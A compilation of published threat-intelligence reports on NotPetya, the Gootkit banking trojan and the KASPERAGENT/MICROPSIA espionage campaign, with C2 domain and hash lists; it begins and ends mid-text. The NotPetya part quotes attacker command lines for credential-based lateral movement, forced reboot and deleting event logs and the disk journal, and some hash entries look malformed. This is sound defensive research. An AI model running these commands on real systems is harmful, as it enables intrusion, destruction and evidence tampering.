suggest staying updated on the current threat landscape and reading cybersecurity news in order to proactively defend yourself against cybersecurity threats. ## IoCs - Sha256 - 8978b5eb14061436a8d2249f9c92ac75d8307c83a09ea7aa3e6572f704b4335f - c994eb9b388217d028184b271dbd7fa098e0488f24af28d5a4ead55bf0c1a92f - 25fa4b1716f5d2995ff28002601f7fd2fc76f03831bcd642b9a2e49e92c42238 - 786b5266ae016683f13abe07cb1e99c01b2d617d3ca7518da086571d9f158d1b - 335d39ae0c6e633ba50441e0b482b11d0311d09ad9a286123e6a854660518715 Andreas Klopsch Virus Analyst
# What is the NotPetya Ransomware Attack? Get Protected Against it **CrowdStrike Protects Against NotPetya Attack** **June 28, 2017** Falcon Intelligence Team From The Front Lines Research & Threat Intel **Update:** Due to naming convention consistency in the industry, CrowdStrike is now calling this variant of Petya – NotPetya. On June 27 at approximately 10:30 UTC, a new ransomware family began propagating across multiple countries. The family, referred to as NotPetya, is noteworthy because it combines traditional ransomware behavior with stealthy propagation techniques and a destructive attack element. CrowdStrike Falcon® Endpoint Protection customers are protected against all currently identified variants of the threat. In addition to encrypting files on infected systems, NotPetya moves laterally to encrypt other systems in the organization by leveraging the same EternalBlue vulnerability that was popularized by WannaCry last month. It then uses another propagation technique that starts by stealing credentials, then uses those legitimate credentials to infect other systems on the network via built-in Microsoft tools (WMI and PSEXEC). Finally, NotPetya employs a destructive technique that prevents infected systems from booting by encrypting the master boot record (MBR). Attacks have been reported in countries including Ukraine, Russia, Poland, France, Germany, Spain, the United Kingdom, the Netherlands, India, Israel, Australia, and the United States. Sectors impacted by this attack include government, energy, finance, defense, telecom, media, maritime, aviation, and transportation. ## NotPetya Summary - Initial infection in Ukraine accomplished by exploiting vulnerability in M.E.Doc software. - Infected systems then attempt to propagate the infection to other systems. - To infect other systems inside the organization, the malware steals credentials and propagates with built-in Windows tools WMI and PSEXEC: - PSEXEC code snippet: `C:\Windows\dllhost.dat \\IP ADDRESS -accepteula -s -d C:\Windows\System32\rundll32.exe “C:\Windows\perfc.dat”,#1 10 “USERNAME:PASSWORD”` - WMI code snippet: `C:\Windows\system32\wbem\wmic.exe /node:”IP ADDRESS” /user:”USERNAME” /password:”PASSWORD” process call create “C:\Windows\System32\rundll32.exe \”C:\Windows\perfc.dat\” #1 XX \”USERNAME:PASSWORD\”` - To infect additional systems outside the organization, the malware attempts to exploit the EternalBlue vulnerability. - The malicious payload then begins encrypting data, which includes the Master File Table and MBR. - The attack creates a scheduled task to reboot the system after a certain amount of time has passed (up to 60 minutes): - Code snippet: `schtasks /RU “SYSTEM” /Create /SC once /TN “” /TR “C:\Windows\system32\shutdown.exe /r /f” /ST XX:XX` (where XX:XX is the time). - It also attempts to cover its tracks by running commands to delete event logs and the disk change journal: - Code snippet 1: `wevtutil cl Setup & wevtutil cl System & wevtutil cl Security & wevtutil cl Application` - Code snippet 2: `fsutil usn deletejournal /D C:` Upon reboot, the end user cannot get back into Windows, and instead, they see a ransom note. This happens because NotPetya encrypted the MBR, thereby breaking the normal Windows boot process. ## Initial Vector According to multiple sources, infections of NotPetya were first identified on systems running a legitimate updater for the document management software M.E.Doc. This software is heavily used by Ukrainian companies for maintaining information on tax and payroll accounting. From these infected systems, the ransomware can propagate to other systems using the techniques described above. Based on analysis of the M.E.Doc software, and forensic analysis of initially infected hosts, it is believed that the malware was first deployed as a software update. Further third-party reporting suggests that the M.E.Doc update process started distributing a new binary containing a malicious payload at approximately 10:30 UTC. ## Payment Mechanism The ransomware operators demanded a ransom of $300 USD for each infected machine and established a Bitcoin payment workflow through an email address provided by the third-party email service Posteo. Upon notification of this incident by the security community, the email provider announced that service to this address had been suspended. As a result, recovery of files upon payment of the ransom is no longer possible for impacted victims, as no mechanism currently exists for the ransomware operators to provide victims with decryption keys. Once the malware is deployed on a victim machine, it creates a scheduled task to reboot the host an hour after the infection, likely in order to allow it to spread further before launching its destructive payload. To achieve this, the malware drops and runs either an x86 or an x64 version of a credential stealer executable from a resource that contains code similar to the well-known Mimikatz tool. The ransomware payload uses a combination of 2048-bit RSA and 128-bit AES in Cipher Block Chaining (CBC) mode to encrypt files with extensions matching entries from a hard-coded list. Public reporting mentions similarities with the Petya ransomware; however, CrowdStrike was not able to confirm any links and assesses that the code structure of this new family is different from Petya’s. ## Protection Against NotPetya CrowdStrike Falcon Endpoint Protection can prevent both the initial NotPetya infection and subsequent propagation attempts. Falcon can also detect the threat based on its behavior. In the example below, RUNDLL32.EXE is exhibiting malicious behavior. It is attempting to execute a malicious DLL while simultaneously trying to steal credentials and write them to a temp file, as well as invoking a command to set the task scheduler to reboot the system in the near future. Falcon Endpoint Protection protects against NotPetya with both machine learning and behavioral protection. Falcon Prevent and Falcon Endpoint Protection customers can enable this protection by enabling “Moderate Prevention” settings on the machine learning engine sliders, including File Attribute, File Analysis, and On-Sensor Machine Learning under Process Blocking.
# Inside the Gootkit C&C Server **Authors** Alexey Shulmin Sergey Yunakovsky The Gootkit bot is one of those types of malicious programs that rarely attracts much attention from researchers. The reason is its limited propagation and a lack of distinguishing features. There are some early instances, including on Securelist, where Gootkit is mentioned in online malware research as a component in bots and Trojans. However, the first detailed analysis was published by researchers around two years ago. That was the first attempt to describe the bot as a standalone malicious program, where it was described as a “new multi-functional backdoor.” The authors of that piece of research put forward the assertion that the bot’s features were borrowed from other Trojans and also provided a description of some of Gootkit’s key features. In September 2016, we discovered a new version of Gootkit with a characteristic and instantly recognizable feature: an extra check of the environment variable ‘crackme’ in the downloader’s body. This feature was not present in the early versions. Just as interesting was the fact that we were able to gain access to the bot’s C&C server, including its complete hierarchical tree of folders and files and their contents. ## Infection As was the case earlier, the bot Gootkit is written in NodeJS and is downloaded to a victim computer via a chain of downloaders. The main purpose of the bot also remained the same – to steal banking data. The new Gootkit version, detected in September, primarily targets clients of European banks, including those in Germany, France, Italy, the Netherlands, Poland, etc. The Trojan’s main propagation methods are spam messages with malicious attachments and websites containing exploits on infected pages (Rig Exploit Kit). The attachment in the spam messages contained Trojan-Banker.Win32.Tuhkit, the small initial downloader that launched and downloaded the main downloader from the C&C server, which in turn downloaded Gootkit. ### Examples of Infected Pages Used to Spread the Trojan While carrying out our research, we detected a huge number of the initial downloader versions that were used to distribute the Trojan – most of them are detected as Trojan.Win32.Yakes. Some of the loaders were extremely odd, like the one shown below. It clearly stated in its code that it was a loader for Gootkit. #### Section of Code from One of the Initial Downloaders Some versions of Gootkit are also able to launch the main body with administrator privileges bypassing UAC. To do so, the main loader created an SDB file and registered it in the system with the help of the sdbinst.exe utility, after which it launched the bot with elevated privileges without notifying the user. ### ‘Crackme’ Check The new version of Gootkit is distinct in that it checks the environment variable ‘crackme’ located in the downloader body. It works as follows: the value of the variable is compared to a fixed value. If the two values differ, the bot starts to check if it has been launched in a virtual environment. #### Checking the Global Variable in the Downloader’s Body To do so, the bot checks the variable ‘trustedcomp’, just like it did in earlier versions. ### The Trojan’s Main Body The Trojan’s main file includes a NodeJS interpreter and scripts. After unpacking, the scripts look like this: #### NodeJS Scripts That Make Up the Trojan’s Main Body The scripts shown in the screenshot constitute the main body of the Trojan. Gootkit has about a hundred various scripts, but they are mostly for practical purposes (intermediate data handlers, network communication DLLs, wrapper classes implementations, encoders, etc.) and not of much interest. The Trojan itself is distributed in an encrypted and packed form. Gootkit is encrypted with a simple XOR with a round key; unpacking is performed using standard Windows API tools. The first three DWORDs denote the sizes of the received, unpacked, and packed data respectively. One can easily check this by subtracting the third DWORD from the first DWORD, which leaves 12 bytes – i.e., the size of these variables. ### Stealing Money Interception of user data is done the standard way, via web injections into HTTPS traffic. After the data is sent to the C&C server, it is processed by parsers, each of which is associated with the website of a specific bank. #### Fragment of Parser Code In the version of Gootkit under review, the C&C address is the same as the address from which the Trojan’s main body is downloaded; in earlier versions, these two addresses sometimes differed. While generating a request, the Trojan uses its unique User Agent – any request that does not specify a User Agent will be denied. ### The Unique Gootkit User Agent Communication with the C&C comes down to the exchange of a pre-defined set of commands, the main ones being: - Request a list of files available to the Trojan (P_FS:FS_READDIR); - Receive those files (P_FS:FS_GETFILE/FS_GET_MULTIPLEFILES); - Receive update for the bot (P_FS: FS_GETFILE); - Obtain screenshot (P_SPYWARE:SP_SCREENSHOT); - Upload list of processes (P_SPYWARE:SP_PROCESSLIST); - Terminate process (P_SPYWARE:SP_PROCESSKILL); - Download modules (P_FS: FS_GETFILE); - Receive web injects (P_SPYWARE:SPYWARE_CONFIG). ### The Bot’s Main Commands and Sub-Commands The C&C addresses (two or three in number) are hardwired in the loader’s body and can also be saved in the registry. The body of the data packet may vary depending on the request type, but always includes the following variables: - Size of data packet, plus eight; - Check value XORed with a constant; - Command type; - Command sub-type. In this case, the response will contain detailed information about the infected computer, including: - Network adapter parameters; - CPU details, amount of RAM; - User name, computer name. Regardless of the request type, data is communicated between the C&C and the bot in the format protobuf. When the main body is downloaded, the address that the loader contacts typically ends in one of the following strings: - /rbody32; - /rbody64; - /rbody320. ### Mystery Solved…Rather Easily We found a configuration error that often appears on botnet C&C servers and took advantage of it to capture a complete tree of folders and files, as well as their contents, from one of the Gootkit C&C servers. #### Contents of Gootkit C&C Server The C&C server contains a number of parsers for different banking sites. These parsers are used (provided the user data is available) to steal money from user accounts and to send notifications via Jabber. The stolen data is used in the form of text files, with the infected computer’s IP address used as the file name. ### Stolen Data and Logs on the Bot’s C&C Server An analysis of the bot’s web injects and parser logs has shown that the attackers primarily target the clients of German and French banks. ### Distribution of Web Injects Across Domain Zones Analysis of the server content and the parsers made it clear that the botnet’s creator was a Russian speaker. Note the comments in the script. #### A Fragment of Script Including the Author’s Comments in Russian Moreover, Gootkit most probably has just one owner – it’s not for sale anywhere and, regardless of the downloaders’ modifications or type of admin panel, the code in NodeJS (the Trojan’s main body) is always the same. ### Examples of Gootkit Web Injects ## Conclusions Gootkit belongs to a class of Trojans that are extremely tenacious, albeit not very widespread. Because it’s not very common, new versions of the Trojan may remain under the researchers’ radar for long periods. It should also be noted that the users of NodeJS as a development platform set themselves certain limitations, but simultaneously get a substantial degree of flexibility and simplicity when creating new versions of the Trojan. Kaspersky Lab’s security products detect the Trojan Gootkit and all its associated components under the following verdicts: - Trojan-Banker.Win32.Tuhkit (the initial downloader distributed via emails); - Trojan.Win32.Yakes (some modifications of the main downloader); - HEUR:Trojan.Win32.Generic (the bot’s main body, some modifications of the downloader). **MD5** 1c89a85c1a268f6abb34fb857f5b1b6f 7521e82162ed175ad68582dd233ab1ae 9339dcb3571dda122b71fb80de55d0d6 b13378ad831a1e4e60536b6a3d155c42 9ba9f48cda9db950feb4fbe10f61353c **Tags** Botnets Financial malware Malware Technologies Trojan
# Targeted Attacks in the Middle East Using KASPERAGENT and MICROPSIA By Tomer Bar and Tom Lancaster April 5, 2017 This blog is the result of joint research between Unit 42 and Eyal Sela from ClearSky Cyber Security. Over the past few months, Palo Alto Networks has been working together with ClearSky on preventing and detecting targeted attacks in the Middle East using two relatively new Microsoft Windows malware families which we call KASPERAGENT and MICROPSIA. In addition, our research has uncovered evidence of links between attacks using these two new malware families and two families of Google Android malware we are calling SECUREUPDATE and VAMP. We named the first new Microsoft Windows malware family “KASPERAGENT” based on strings we found in the malware. (Note that we do not believe this is a reference to Kaspersky Lab). We named the second new Microsoft Windows malware family MICROPSIA because the malware is very tightly packed, making it appear smaller than it is, similar to the human condition micropsia. We named the first new Google Android malware family SECUREUPDATE because it masks its malicious updates as secure updates. We named the second new Google Android malware family VAMP because it’s focused on stealing data. The attacks are not highly sophisticated, but the themes used, organizations and geographies targeted, as well as the persistence of the attacker suggest a determined and noteworthy adversary. Some of this activity has been covered in a recent post by 360 security; however, there is still a great deal of extra detail we are able to add in this report. Starting in March 2016, Palo Alto Networks began monitoring this threat following the successful prevention of the execution of a sample of the KASPERAGENT malware on a customer system; however, the malware had likely already been used in attacks as early as July 2015. At the time of writing, we have uncovered: - 113 samples of the KASPERAGENT malware - 94 samples of the MICROPSIA malware - 17 samples of Android malware which are related to this activity - 39 command and control domains registered in relation to this activity Most of the attacks discovered so far target users in the United States, Israel, Palestinian Territories, and Egypt; although there are occasional outliers. Notable outliers include media organizations in a variety of countries. This post will begin by exploring how the attackers attempt to gain a foothold into target networks before briefly describing the malware families used. ## One Bit.ly at a Time This group of attackers favors using URL shortening services to disguise the true links they are sending in spear phishing emails. In particular, a number of samples we analyzed were linked via the URL shortening service “bit.ly”. The URL shortening service then redirects users to the malicious payload hosted on attacker-controlled pages, with the malicious payload nearly always contained in an archive file (most commonly a RAR file). Using the statistics provided by these link-shortening services, we can gain an immediate insight into the targets clicking these links. The statistics vary per link, suggesting different target audiences for different waves of spear phishing. For example, the statistics shown in one campaign targeted 113 users in Egypt, whereas in another example, Egypt did not make the top 3 countries targeted. ## FAKE NEWS! Sending spear phishing emails with direct links to malicious shortened URLs was not the only method employed by the attackers to entice users to install the malware; another method favored by the attackers was the setting up of fake news sites. We are unable to confirm how traffic was driven to these sites; the attackers may have helped drive traffic via fake social media accounts, or they may have sent spear phishing links to these pages. ## Malware Analysis: MICROPSIA, KASPERAGENT and the Missing Link During our analysis, we discovered two distinct malware families which for the most part leveraged distinct infrastructure with no overlaps, initially leading us to categorize these campaigns separately. Later, we discovered a key link between the two sets of activity which leads us to believe they are related. The MICROPSIA activity centers around domains registered using the email address [email protected] – and no samples of KASPERAGENT talk to these domains. However, one of the domains (drive.acount-manager.net) registered by this address was used to host a sample of KASPERAGENT, causing us to link the two sets of activity. ### KASPERAGENT We have named the most common malware involved in this campaign, KASPERAGENT, due to PDB strings left behind in many samples of the malware. An example of a PDB string left behind is given below: ``` c:\Users\USA\Documents\Visual Studio 2008\Projects\New folder (2)\kasper\Release\kasper.pdb ``` This analysis is based on the following file: SHA256: babd654ef363e0645ce374dd9e2a42afe339c52f1cf17fc2285d8bebd3cfa11e The file is compressed using the legitimate tool “mpress.exe” and once executed drops the payload to the directory C:\vault\igfxtray.exe which has the SHA256 hash f26caee34184b6a53ecbc0b5ce1f52e17d39af2129561dd6361fb4d4364e2c8b. The malware also drops a decoy document containing Arabic names and ID numbers to the same folder and displays it to the user. KASPERAGENT is developed in Microsoft Visual C++ and attempts to disguise itself as a product that does not exist: “Adobe Cinema Video Player”. The malware first establishes persistence using the classic method of adding a Run key, using the value “MediaSystem”. The malware connects to a C2 server hosted on www.mailsinfo.net. The C2 server string in the binary is “obfuscated” in the most basic of senses, with the author adding ‘@’ characters between letters and splitting the starting “www.m” to another string. Most of the samples of KASPERAGENT use “Chrome” as the user agent, but this recent sample uses “OPAERA”, possibly a misspelling of “Opera”, the browser. The malware communicates with the C2 server via HTTP requests and in the most recent samples observed the callbacks are made to PHP scripts whose names relate to towns or navigation. Example URLs used include: - GET request to /dad5/town.php - POST request to /dad5/addCity.php and /dad5/sign.php Most examples of the malware are nearly identical, and the malware simply acts as a basic reconnaissance tool and downloader for further payloads; however, some examples of the malware include extended capabilities beyond that of a simple downloader. Examples of the extended-capability KASPERAGENT samples include: - a52d3e65fe5bbf57bab79b1c5092b66d9650247249b72f667a927f266d09efe6 - c9ffb81a97a9458f1fc96f35cd187b1d7311479e77d031586abdc3d426da0859 - 7f11e0bbc892a97b7c42416c43fe178ebb240939d9dee70c3c598305ce8a2d4f These extended-capability samples connect to www.stikerscloud.com and implement the following additional functionality: - Theft of passwords for Firefox and Chrome browsers - Take screenshots - Recording user keystrokes - Exfiltrate basic environment information such as the username and computer name - Perform arbitrary commands - Enumerate removable drives and copy files of interest to a new folder for exfiltration - Update the malware to a new version - Exfiltrate arbitrary files (zip compressed and encrypted) It’s also worth mentioning that sometimes both versions of the malware are wrapped in a Microsoft .NET Framework loader which is responsible for deploying the malware and displaying the decoy document. The author calls this wrapper ‘Loader’; an example of this is the file 4c1973278a30d1b4ce206eca63676624d234260758a0674d191d338a02914d23, which contains the PDB string: ``` C:\Users\Yousef\Desktop\MergeFiles\Loader v0\Loader\obj\Release\Loader.pdb ``` ### MICROPSIA Analysis The MICROPSIA malware family is written in Delphi and is an information stealing malware family with a wide range of data theft functionality built in. This analysis is based on the following sample: SHA256: 6e461a8430f251db38e8911dbacd1e72bce47a89c28956115b702d13ae2b8e3b We named the malware MICROPSIA because of the way it is often packaged. The malware is often delivered as a RAR, which once extracted contains an EXE, which is further packed using UPX. Once unpacked from UPX, the next level is a further SFX RAR file, which then contains the actual malware files within. This effectively means the initial payload is extremely compressed and appears much smaller than it really is. The final payload contains four legitimate executables as resources: 1. Two embedded DLLs relating to the OpenSSL library used for traffic encryption. 2. A copy of a command line version of WinRAR – used for encrypting and compressing the exfiltrated data. 3. The file ‘shortcut.exe’ from optimumx.com (Creates, modifies or queries Windows shell links) used for persistence by creating a link in the startup folder to the payload. The malware begins execution by first copying itself to a predefined location, setting up persistence via an LNK file (hence the inclusion of the aforementioned shortcut.exe). The main capabilities of the malware are as follows: - Logging of keystrokes to a hardcoded text file and exfiltration to a remote server - Capturing screenshots of the infected machines - Searching for files with extensions matching Microsoft Office documents and using WinRAR to archive these prior to exfiltration. Interestingly, in some cases, the attackers combined an attempt to infect targeted users with malware, with an attempt to steal their credentials via traditional phishing techniques. The attackers sometimes directed users to sites spoofing legitimate services such as Google Drive to download the malware; however, first the target users would be asked to fill in their credentials, giving the attackers two chances to successfully steal target users’ data. ## And There’s an APK Twist… Whilst a large number of the domains associated with the [email protected] email address are associated with MICROPSIA samples, some have been observed hosting Android apps or acting as C2 domains for Android malware samples. Analysis of these apps shows these are also malicious, and the apps also contain some social engineering tricks to enable installation. There are two main APK malware families used by the threat actor. The first is a malware family used to gain a foothold on the device; it is effectively a downloader with no additional functionality and we call this malware SECUREUPDATE. In the sample we analyzed, the malware used the local calendar to sleep, creating an alarm in the future, at which point the malware would call back to receive an “Update”. In a similar vein to the ‘a side of phishing’ section, some of the versions of SECUREUPDATE backdoor attempt to steal credentials for users, making them create accounts for these fake apps in addition to the installation of the malware. This technique relies on credential reuse across many accounts but will still yield some success for the attackers. The second malware family is a malware family we call VAMP, which is already described in detail in the blog by 360. VAMP is fully featured with all the capabilities you’d expect from a malware family that resides on a phone. Features of the malware include: - Ability to record calls - Contact theft - Theft of documents stored on the device - Theft of messages Another outlier in terms of domains registered by [email protected] is the domain AppPure.info. From the outset, the site appears to be a legitimate page. Although we have been unable to find malicious content hosted on this site, we believe that it is very likely that amongst the many legitimate apps available for download via this store, some malicious apps may exist. ## Concluding Thoughts Through this campaign, there is little doubt that the attackers have been able to gain a great deal of information from their targets. We have been unable to uncover any evidence which allows us to confidently attribute this campaign to any known threat actor at present. The scale of the campaign in terms of sheer numbers of samples and the maintenance of several differing malware families involved suggests a reasonably sized team and that the campaign is not being perpetrated by a lone wolf, but rather a small team of attackers. The campaign also illustrates that for some targets, old tricks remain sufficient to run a successful espionage campaign, including the use of URL shortening services, classic phishing techniques, as well as using archive files to bypass some simple file checks. Palo Alto Networks customers are defended from this threat in the following ways: - WildFire and Traps detect all of the malware discussed in this report as malicious. - The C2 domains listed in this report are blocked through Threat Prevention. - AutoFocus customers can monitor this activity by looking at the tags: - VAMP - KASPERAGENT - MICROPSIA - SECUREUPDATE ### Appendix A – Associated C2 Domains - mediafreeuploader.co.uk - appppure.net - upload404.club - upload999.net - upload999.com - upload999.org - arnani.info - al-amalhumandevelopment.com - acount-manager.net - gooogel-drive.com - acount-manager.org - acount-manager.info - appppure.info - stikerscloud.com - upload999.info - apppure.info - mary-crawley.com - mydriveweb.com - google-support-team.com - mavis-dracula.com - 9oo91e.co - useraccountvalidation.com - mailsinfo.net - acount-manager.com - upload202.com - upload909.net - upload101.net - mediauploader.me - ran-togomory.com - shildon-cooper.info - mediauploader.info - akashipro.com - beauty-dance.net - margaery.co - go-mail-accounts.com - kagami-adam.com - kalisi.org - kalisi.info - cecilia-dobrev.com - kalisi.xyz - appppure.pro - cecilia-gilbert.com - gooogel.org - feteh-asefa.com ### Appendix B – Associated Windows Malware Samples **KASPERAGENT** - 2c8a67f8118b6aef159dd280d5998b1c41edb406a1bc8e3960254a9642b6ae4b - a72178289bb518f9f100b78e56a9425332bf3a5220a6c5abd3d07c669a5d8b25 - 7fdf2bdc500a8703cceb76a427752ee70164b8283b4df42c5b13ed2124a88dbd - 6926f430865bd08b621bd1c6581bfe77db3e9891b14f97d00563770186fc5e74 - 46b0f586a646e800ab63d1404a08864fb09aca73a13fd22542a9fce038643219 - e9050c541859f2fabff6dcd492df02a48dd32d99b1f3e98ef7c14bbb6aa734a2 - 2709506acdb0c6aba5ce794ceada11b64078f5731b91359cb398bc967cb67eba - fcfe51fd23aadcab5a7878bd59b5354d3491d237b259e230ac51e49306b253c7 - 1bb2a7a6c271b7e607cf87f2a4003eae1653f304cde104fc0311611cbb96e431 - b384ed2a4f484b70786e5ea84ff513d30fe4d068fd76cc214d448f7f1c4329fb - 1bbd9498f50259917d737b70a875772f963424f69fb942b86d626283e154cab2 - babd654ef363e0645ce374dd9e2a42afe339c52f1cf17fc2285d8bebd3cfa11e - f26caee34184b6a53ecbc0b5ce1f52e17d39af2129561dd6361fb4d4364e2c8b - 325c5aa819dbd1596464ec018b9efb5938dbc59ac6a94c459932ef07412bca02 - 4b77194c47b5abb04b1395955ca25aa0bb63ce796247d22946bc07919c8e1b56 - 9ae853b1e678926358ac8c1cd583eb2d5968b99c2a16cf34334a22051bb630ec - 1184916919ea9790adcd53b60c4bf875e54733e508344ffe6baf10b919a0fd1d - beb05e01b87e1a432b3ef37eb55db723a5a5231872a53ab777d7821358e97574 - 433d2c8a3e93191d09e11994438ec3413152baf64e26e8d9e43c2d2e056b700c - 783486dd30ca43d3a6c6807530c023f61631e4b3e6f2e6c2830b5209ee384e13 - 2813409822b56ae81f08adcaed29a215b3bef0e4f1cc5a22c7169f9e16a188a0 - 6eca9aacc7d9ef570bf2521f5a1156825832282650d2d3734d964a834f97b3f4 - b8285b66aa42f61de1c43423ea25f8cbe03ebb96d0917c153476e185a5909e57 - 6c51b3ca96d06cc695de3875f4d31962bb936331a82541ab610f269fec0b0a8c - cd051cb14f118e33a2299925a704a56d89ba92a310f2176a0942ec29babedee6 - d5e145bf964b91210b79b25fc92ce19aacacadac14ebeb6f4111b6f4cabfd6c7 - 98553dacbb2fdd8d655907f29e8ba36265f931fd5c6fe83c4defafc10767d4f0e1addb50f0fea302317c40017fcdad84e1b8bc0f6d5b3f2609de2a0576ad8f9a - a8825be2145fb5cc25194aa13f5168ac7ede1132632cdeebadfb640d063fc781 - ae5625a0fe39b34884cfd33832181392e9cf5157b8070b2e1b3d04c87fb46eec - 4eca7eedcb5cfa0f02306774b9ed685a5ff738669bb90cb5d57dad87a46833b - 400c9fa4012a67e88b986d206deb8b10acff3091b6e7c98f0f98ac553ebd021b - c7d2a0803f9d4f9f37d5a0f3a37b97eaa672d4b3c700163847736cb9f91aabad - 71aa4f9bc78fd5d457e4a2f2914516fc0081d2d5d22da26e1c70f86d9bd6bab1 - 117f80111e0fb67f728091a1b96042ea6f1633ece8c8a519e45e38d408a6691e - 4ae00d8000510629bbff55652401ee4124109c55500075049f9440fe86391cb - df2f111c952ac720cb9e33afb24a1c9d0c9ecaeaea4c079f48fadc1a4ed333d5 - 2321fbde63ceb3d0086a9bbce55940cc6f05919acf49fdb731f75447863c795c - fa80f9b2163d7db3e026316967d241818c9e57c1376830899352115bc08d51ac - f296539deddb1b661868c69cde1783a2a2be15456ea3e31523652b5f10cc7d36 - 11cbd7a2ce58191e4dbd3effba97c5c4c0edd437511e2ecbd42811dac1cfa3d - 646b6591002c125108fa1e108aa9be84f4c83f3130836279745e372ee12867cf - 4c1973278a30d1b4ce206eca63676624d234260758a0674d191d338a02914d23 - e771f7512bd1efc86884fad12115f2fb5abc97eef78ca7dce1fbc9fb6f23360d - 787f581acd27f8c8b449b3bc0ca214a1b3421197ff789333ef1b44a5de850c03 - b119b2530baf4c80a5543b7c6bacb615357b2deff27d9b6a638f799617ec1641 - 00b9fe607cb0b6ba45cd7ffbc3d710264c6109fdbad992933f68bbfc15785a18 - 34a4a989a6d83eea916c455a9c304823786f11d39c7525583f75a0fd35906a1e - 967fd8f1e08cde8dbc960f3d9fcac5a86b77003cae88d59be78ce0a7e6ad0d88 - 83d07d027709c724b146aaf44ff63d969b9c2824bb5f0b3c1be5af4f18b3cd97 - 42c12d9b35abbb79212bf9d35d7c391d18e2635e558eb6ab8472510df79da09f - f602d059bc6f7e1e5353b716fbbaf42fa5746e844532674198f59deec367490d - 365be95490051c077b2bea93eb8e647cc4ab76cc51ebc6781abfca8b6d55b551 - a52d3e65fe5bbf57bab79b1c5092b66d9650247249b72f667a927f266d09efe6 - a8635544eab476c6128793b00bf1bd48ce9d41692585aab1690f2a44837efaac - 4d54b94d081fa2d0c0626805f71bca86314201a6215fbd910c98024b372158c2 - 1a609b82e95501f56f0f47014c4224fdba457b27c58672292231c3adfcfdd7eb - babf156ede8b5c2e6c961b6ffcccc5eb7a3d283b398370754061613f439d40f9 - e58267f9ff31408d0bb1b84948e1fd3c02231cfd0628797cc2a6045354e0b065 - 2dae0b95ba31c12c59d577b32c11ed3d1dff6db76f9c92064a2bc2764eb8611f - 5e977ffbfc3d048c79640459ab33a932f1e17f77dae76d7a062c4cb0221b91f8 - 78536b8ba75ba8269950099bb8205a11e94db9c28558293971e981c3a9e57b24 - f0cb1d8a58b389425f691522163a1cc3b2b6c4ca0004248c0f0daad7f4ff12a - 865bf72cd5f23350cba26bb185340ebc0def6b5bbd5d8c9c184e1d1e4d11c5b8 - dff184a646f67fdf04fc7702e2a4ef60b4a165e56abb7e3a424f785ac8b02da9 - 3554b267dec35b5072ed5fce2510e70960e32195a0920811e83eb6207cc4bed0 - baf0fe69b670a6b96489cfb0bd80b03d8b454d5a3d2407d3c1570f1db9b58927 - e926cf1e40c46f9578c76bb0df3a3ba7667853b63cc58b0f064f529b4365fbe0 - bacbcb52516bb1d54b82a8d128f460843827a9dff65024d4bedb88936fc40c97 - 618fc941c00005b02f62d9ebdb31363e4d51b2f927f3d0b36c238a333f080ad0 - 64c5bfc0a1c76aaf9ed8b8f2a45d229afa9353a63fa7a2bba6d4a8c47980e70b - 27b3a779d2e3d44cf0c4cc8e9f2862226fe329db7127b2272ba42011332832f32a71fcd81cf6c3bc6a43260b23cd7ef1c0694b0d85cdcdfdc8b25b139922a352 - 244621fad10485386493efec3818196fc50f1a66e3048a62de456d64a2331720 - 7b1a513520f18612c4cd2ac9e5e5a1d660274a77b8f190bd277339247b6a51ee - 7d74e531dafdb6e645ac429c17aba3903e9c0f4fe7e4f93688d37eb638c52f48 - 722cfac01badf1106887fbc985060a2fb31eabf9943520bd24abf2fa208217b8 - 5a83a289c0c4c222bb190152bb8bc5f429e6799ac233ba99b7a860b8519872bc - 50cb597f33f8252bd94c54927bd2e0259a732ad64fb8b413a205e1f290870445 - c721b5d3abc978ea8608f23b9a9a6ba81afe87d6d6660bc6006ee1ba83491d06 - 16e43f8d2e439b5ce8e48b75bb25e90011f1ccbb41278fe15f7982a304a832de - 5579cfef934b47519388719f0bf532bd4326d0221b6ab47c69ca098f3d2d2de3 - 7e476fb1089b95bfb08ec3ab3931ae31da9fd1f742928bab339d297b70b9fcc2 - 6279030f7e5eaeacd28232de35382c38614fefc90ef753f2492300c1150e54f0 - e4f015b6cc0539ff746dc39229d25385d95e827204695b8b0003457cd206dab **MICROPSIA** - 453b9f7aed67f41ec192db3011459e2dd865bb729265c544ee1b8814c6e7dc53 - c9e55094b84a06b3a40b7df1cd76fc287fdc02a2cdd30af359743bbc23475917 - a627d2bff74ce07a619cc8fd36294f66eab94b92d41e50b06e63d736ffafd254 - f70681c7e8ab419fd0938802a823337abad936cccc0ace9ee232f2b874e561f1 - e3963ee9bf892d3f3eea0620585e2e773a30cf536c73a01dd51d6ce36f4daf5d - e2ac3cf79e7267d2e088c3a269aa84fc71fc6073019abb94d16a024d3ad16f3e - b08b96eb46b65af20688c3910a8edcc7dd072a5149ca4b541183acfa81220b97 - cdada29d7cd7d88a49a4475a50ee0401d11e2d9a61c4396a60ab0a2fb3da0d01 - ca438526ad398f240d3ba551cdd59ada402a6270755c4b0750bc0b120e058320 - 2fc2263416b3b55e1dfe67ab6435eed00a74a82e3fbdfdbb6a3a102a7f404641 - 15c9dc07d2858f496ea7f4110a13e58e6828fe836704582dbbdc630df18d3de5 - 579cf5f112c5b542f7240e200fec6312983255b497c6f0a65f2fe2d3b78391c5 - 15e3cd8a698d30ac7851b3232f8b7cbc7fbbb821c9eece34ef327b67dc281883 - 1e5739d640e24504a5e03d0847ad720622c64d0effcd2e1b80528a055049ca82 - 8f1ff9588630c3bc017468ff0eadb69c65cf77aae47a148e132eb4b48ae5c988 - eb5e920dd1e2b2df4cede82d0efbda1556fa35ac1c4589533fca58832fd07a62 - 2fac7aab5c3b922b883941fa67fdd7c197e6aaef429e723dccb3fc2150083c8d - 368845729255ab7fcfb5c0b6c153929d5ccb8d1f9a40cc02ca7c026b4b6813ec - 41b3e90442c97e40abdf29d8b7ecedea1026a1fb4dbd6d6cc410d3f3463cb205 - b284c718d5b6c30eea2a0df34d9d75d3a22baa776b8d6f75b579da5549529f43 - 74a94b549fd52e8c23c1fca23a80262a50ae8e08ae56adf9e94c54acf2b313bf - 39aa9cc3747a7fc9c80a04ef47107950c1946386525d79fe97b0bfb593e4bdc2 - 6c3bcef39b3892b5c3ed5602624ca5ee244cca7bf86aebe293bbd11eaf57834f - c4e79e151986dc5e16ce763321de90d8c214909df7210ec05e590c4375423a76 - 5bab8a360d1d08e37e4e6c052f7fce13a291ad9b99f950770a647222bfc4d6b4 - accf87a349b0cfe6403e827089d7a97a8a9bf94dc4535d9ce2e54ecf9bc699fa - 4f1be1f1c28dfc337a37cf22611aa288565c294910083524be4a317306b5490c - 